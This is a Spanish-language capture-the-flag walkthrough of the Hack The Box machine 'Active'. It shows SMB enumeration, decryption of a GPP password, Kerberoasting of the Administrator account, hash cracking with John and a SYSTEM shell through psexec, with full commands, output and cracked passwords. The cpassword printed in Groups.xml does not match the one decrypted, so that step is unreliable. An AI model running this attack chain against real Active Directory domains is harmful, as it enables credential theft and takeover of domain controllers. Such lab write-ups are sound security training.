



## 1. Enumeración.

Realizamos un Ping contra la máquina víctima y vemos que tiene un TLS de 127, por lo que podemos entender que estamos ante una máquina víctima.

```

~/HTB/active
└─ ping -c1 10.10.10.100
PING 10.10.10.100 (10.10.10.100) 56(84) bytes of data:
64 bytes from 10.10.10.100: icmp_seq=1 ttl=127 time=32.8 ms
  
```

Con Nmap analizamos los puertos abiertos y, a la vista del resultado, parece que estamos ante un Domain Controller.

```

File: targeted
1 # Nmap 7.92 scan initiated Tue Sep 20 17:11:59 2022 as: nmap -sCV -v -n -p 53,88,135,139,389,445,464,593,636,3268,3269,5722,9
2 Nmap scan report for 10.10.10.100
3 Host is up (0.034s latency).
4
5 PORT      STATE SERVICE          VERSION
6 53/tcp    open  domain          Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
7   |_ dns-nsid:
8   |_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
9 88/tcp    open  kerberos-sec    Microsoft Windows Kerberos (server time: 2022-09-20 15:12:06Z)
10 135/tcp   open  msrpc           Microsoft Windows RPC
11 139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
12 389/tcp   open  ldap            Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
13 445/tcp   open  microsoft-ds?
14 464/tcp   open  kpasswd5?
15 593/tcp   open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
16 636/tcp   open  tcpwrapped
17 3268/tcp  open  ldap            Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
18 3269/tcp  open  tcpwrapped
19 5722/tcp  open  msrpc           Microsoft Windows RPC
20 9389/tcp  open  mc-nmf          .NET Message Framing
21 47001/tcp open  http            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
22   |_ http-title: Not Found
23   |_ http-server-header: Microsoft-HTTPAPI/2.0
24 49152/tcp open  msrpc           Microsoft Windows RPC
25 49153/tcp open  msrpc           Microsoft Windows RPC
26 49154/tcp open  msrpc           Microsoft Windows RPC
27 49155/tcp open  msrpc           Microsoft Windows RPC
28 49157/tcp open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
29 49158/tcp open  msrpc           Microsoft Windows RPC
30 49165/tcp open  msrpc           Microsoft Windows RPC
31 49170/tcp open  msrpc           Microsoft Windows RPC
32 49171/tcp open  msrpc           Microsoft Windows RPC
33 Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
34
35 Host script results:
36   |_ smb2-time:
37   |_   date: 2022-09-20T15:13:02
38   |_   start date: 2022-09-20T08:04:22
39   |_ smb2-security-mode:
40   |_   2.1:
41   |_     Message signing enabled and required
42
43 Read data files from: /usr/bin/./share/nmap
  
```

Metemos el dominio active.htb (descubierto anteriormente con Nmap) en el fichero hosts.

```

GNU nano 5.4
# Host addresses
127.0.0.1 localhost
127.0.1.1 parrot-vmwarevirtualplatform
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.10.100 active.htb
  
```

Empezamos revisando los recursos compartidos por SMB. Usamos smbmap que nos muestra los permisos sobre los mismos.

```
/home/parrot/HTB/active
smbmap -H 10.10.10.100
[+] IP: 10.10.10.100:445      Name: 10.10.10.100
Disk
-----
ADMIN$      NO ACCESS      Remote Admin
C$          NO ACCESS      Default share
IPC$        NO ACCESS      Remote IPC
NETLOGON    NO ACCESS      Logon server share
Replication READ ONLY      Logon server share
SYSVOL      NO ACCESS
Users       NO ACCESS
```

Nos llama la atención el recurso "Replication". Vamos a ver qué contiene.

```
/home/parrot/HTB/active
smbmap -R -H 10.10.10.100 -s Replication
[+] IP: 10.10.10.100:445      Name: 10.10.10.100
Disk
-----
ADMIN$      NO ACCESS      Remote Admin
C$          NO ACCESS      Default share
IPC$        NO ACCESS      Remote IPC
NETLOGON    NO ACCESS      Logon server share
Replication READ ONLY
.\Replication\*
dr--r--r--  0 Sat Jul 21 12:37:44 2018  .
dr--r--r--  0 Sat Jul 21 12:37:44 2018  ..
dr--r--r--  0 Sat Jul 21 12:37:44 2018  active.htb
.\Replication\active.htb\*
dr--r--r--  0 Sat Jul 21 12:37:44 2018  .
dr--r--r--  0 Sat Jul 21 12:37:44 2018  ..
dr--r--r--  0 Sat Jul 21 12:37:44 2018  DfsrPrivate
dr--r--r--  0 Sat Jul 21 12:37:44 2018  Policies
dr--r--r--  0 Sat Jul 21 12:37:44 2018  scripts
.\Replication\active.htb\DfsrPrivate\*
dr--r--r--  0 Sat Jul 21 12:37:44 2018  .
dr--r--r--  0 Sat Jul 21 12:37:44 2018  ..
dr--r--r--  0 Sat Jul 21 12:37:44 2018  ConflictAndDeleted
dr--r--r--  0 Sat Jul 21 12:37:44 2018  Deleted
dr--r--r--  0 Sat Jul 21 12:37:44 2018  Installing
.\Replication\active.htb\Policies\*
dr--r--r--  0 Sat Jul 21 12:37:44 2018  .
dr--r--r--  0 Sat Jul 21 12:37:44 2018  ..
dr--r--r--  0 Sat Jul 21 12:37:44 2018  {31B2F340-016D-11D2-945F-00C04FB984F9}
dr--r--r--  0 Sat Jul 21 12:37:44 2018  {6AC1786C-016F-11D2-945F-00C04FB984F9}
.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\*
```

Parece que es el contenido parecido al que suele ser SYSVOL. ¿Puede ser una réplica? Ya sabemos que hay fichero llamado Groups.xml el cual podemos usar para obtener credenciales (<https://vk9-sec.com/exploiting-gpp-sysvol-groups-xml/>) Vamos a ver si existe.

```
/home/parrot/HTB/active
smbclient //10.10.10.100/Replication -N
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> cd active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups> dir
.                D                0 Sat Jul 21 12:37:44 2018
..               D                0 Sat Jul 21 12:37:44 2018
Groups.xml       A                533 Wed Jul 18 22:46:06 2018

5217023 blocks of size 4096. 278354 blocks available
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups>
```

Efectivamente existe y contiene las credenciales del usuario SVC\_TGS. Nos descargamos el fichero a nuestra máquina.

```
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups> mget Groups.xml
cat file Groups.xml? y
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (3,9 KiBytes/sec) (average 3,9 KiBytes/sec)
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups>
```

```
/home/parrot/HTB/active
cat Groups.xml
File: Groups.xml
1 <?xml version="1.0" encoding="utf-8"?>
2 <group csiid="{312E937-EB16-4b4c-9934-544fc6024b26}"><user csiid="{DF3F1855-51E5-4d24-8B1A-D98DE98BA1D1}" name="active.htb\SVC_TGS" lnagee="2" changed="2018-07-18 20:46:06" uid="{EF37DA28-5F69-4530-A59E-AAB58578219D}"><propertie
3 <action type="readName" full_name="" description="" cpassword="edB5n0wNzL1j1Q39F1cJ83ajK99g9g9ur0nJ0dcqhzZ0mX0S0cP23uJTLfLUM0p05sYfDtwNgJwq" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active
4 .htb\SVC_TGS" /></user>
5 </group>
```

## 2. Explotación

Con la herramienta gpp-decrypt, intentamos decodificar la clave.

```
/home/parrot/HTB/active
gpp-decrypt edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
```

Usuario: active.htb\SVC\_TGS

Clave: GPPstillStandingStrong2k18

Nos aseguramos que las claves son correctas con crackmapexec.

```
/home/parrot/HTB/active
crackmapexec smb 10.10.10.100 -u SVC_TGS -p GPPstillStandingStrong2k18
SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18
```

Podríamos leer la información de la flag, directamente sin realizar la intrusión.

```
/home/parrot/HTB/active
smbmap -H 10.10.10.100 -u SVC_TGS -p GPPstillStandingStrong2k18 --download Users/SVC_TGS/Desktop/user.txt
[+] Starting download: Users\SVC_TGS\Desktop\user.txt (34 bytes)
[+] File output to: /home/parrot/HTB/active/10.10.10.100-Users_SVC_TGS_Desktop_user.txt

/home/parrot/HTB/active
cat 10.10.10.100-Users SVC_TGS Desktop user.txt
File: 10.10.10.100-Users_SVC_TGS_Desktop_user.txt
1 01d0c10b209485f17492c0f38f7ff038
```

## 3. Escalada de privilegios.

Como el servicio RPC está abierto, realizamos una enumeración con las credenciales previamente obtenidas, de los usuarios del dominio.

```
/home/parrot/HTB/active
rpcclient -U "active.htb/SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c "enumdomusers"
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[SVC_TGS] rid:[0x44f]
```

Hacemos lo mismo con los usuarios pertenecientes al grupo administradores del dominio. Solo hay un usuario, por lo que entendemos que es el usuario Administrados.

```
/home/parrot/HTB/active
rpcclient -U "active.htb/SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c "querygroupmem 0x200"
rid:[0x1f4] attr:[0x7]
```

Revisamos las descripciones de los usuarios, por si acaso. Tampoco vemos nada interesante.

```
/home/parrot/HTB/active
rpcclient -U "active.htb/SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c "querydispinfo"
index: 0xdea RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0xdeb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xe19 RID: 0x1f6 acb: 0x00020011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0xeb2 RID: 0x44f acb: 0x00000210 Account: SVC_TGS Name: SVC_TGS Desc: (null)
```

Dado que tenemos una cuenta de servicio, vamos a ver si es vulnerable a “Kerberoasting”. Parece que sí. Obtenemos el hash del usuario administrador.

```
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-----
active/CIFS-445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:48.351723 2022-09-20 18:05:29.173752

54c61c8c4669438e115ec7192e9199a5d6e7960809180c773338c4bfa0142394ed59453594a21cae0f9e8d38694b7f0e6e1891ad94cd31df68863d8e072c09ca0f72b4620c14c597880b78134abd5f023a5a1043
e63c94720da27ca4e48e9e6463b307f93c3ca3a201e997f758e3ad0c6039a25c01d2c546d048055e6d4ea4976747ef13177551470273d3c33d54c3d075ad0840663817f1f479878485c66a13763c5f7074080c9354e9e1c637d87ec29963758420a8310505f67ac4805c8f4049a8154e5785e02
9a47d21807803552036eaf160419214007270808080af5b39930dc4d6e0f72057560f46c0e0e2fced058e0e23ff19191eeef102766d4770808080e062023868e05380e44f961a8e0820e3f3b65409730a1aff60b478070122c4c3215ff330905fb740524f71cfc37ee74dc1c86554
a011e2a2904c3c5580c7945c8d3008730d5390878c5381d76edc146598c92954e607a15a0e66a0f1b38954e37566e472574eb008a730ac70f924e7d87f98949485f38a152765c50703530922609747ff820bb0e07ccac086e203a10f83f0e321302a074ebc5a8e9502127e34b456160b
95c09f7236040550c439416cc3843a01771029934548438410809ad18418b50804d330d6d70c3e32af22a878d325ced00f11a035f18010830714a23146318973081a74e07675ced083e47c39a061724747f1a10ec137d48805e9202cc491140f818af7a020292d20e152c188852464cc
40c740cc560814472c20639030b113172097803023915082770a1208706094909499f0f38f8c040547d2119c3008070001325340030117812c0633120080f3a0c2087073e13a3f229078303f00050f450b3094903405030c16030c0f0e07230667093830920f776d
510c7760b35480389c64784fc7047771d0ed5847800b08c78977851b05449c5ced576c13cc980551041cc9089380d2311c796a0e045adb259ac4405780dfcc316263009c30e7c545da73f1170f0370eb2edc090549e40a281fc01fb340cf023080a1830820071750276e28ac9a1530a74
e0c3fccc18c19d78056d79ac3c7e053cd05308f41707805cd73404e21000de0e9974009e4fede530c80c520f0003d3c07c3183080e02c1050af070c3120d0e0fd0c40f03c4c0044f5072320776a70c2082e2027d0e0907f0e063105f07f1e0120e050317
```

Nos copiamos ese hash a un fichero y tratamos de “romperlo” con John.

```
/home/parrot/HTB/active 5s
john -w:/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
lg 0:00:00:10 DONE (2022-09-20 18:03) 0.09587g/s 1010Kp/s 1010Kc/s 1010KC/s Tiffani1432..Thrashi
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

Conseguimos la clave: Ticketmaster1968. Comprobamos las credenciales con crackmapexec.

```
/home/parrot/HTB/active INT
crackmapexec smb 10.10.10.100 -u Administrator -p Ticketmaster1968
SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [*+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)
```

Ahora, podemos usar psexec para ganar acceso con máximos privilegios a la máquina.

```
/home/parrot/HTB/active 127
Impacket-psexec active.htb\Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.10.10.100....
[*] Found writable share ADMIN$
[*] Uploading file OSx0wPG0.exe
[*] Opening SVCManager on 10.10.10.100....
[*] Creating service GrsB on 10.10.10.100....
[*] Starting service GrsB....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system
```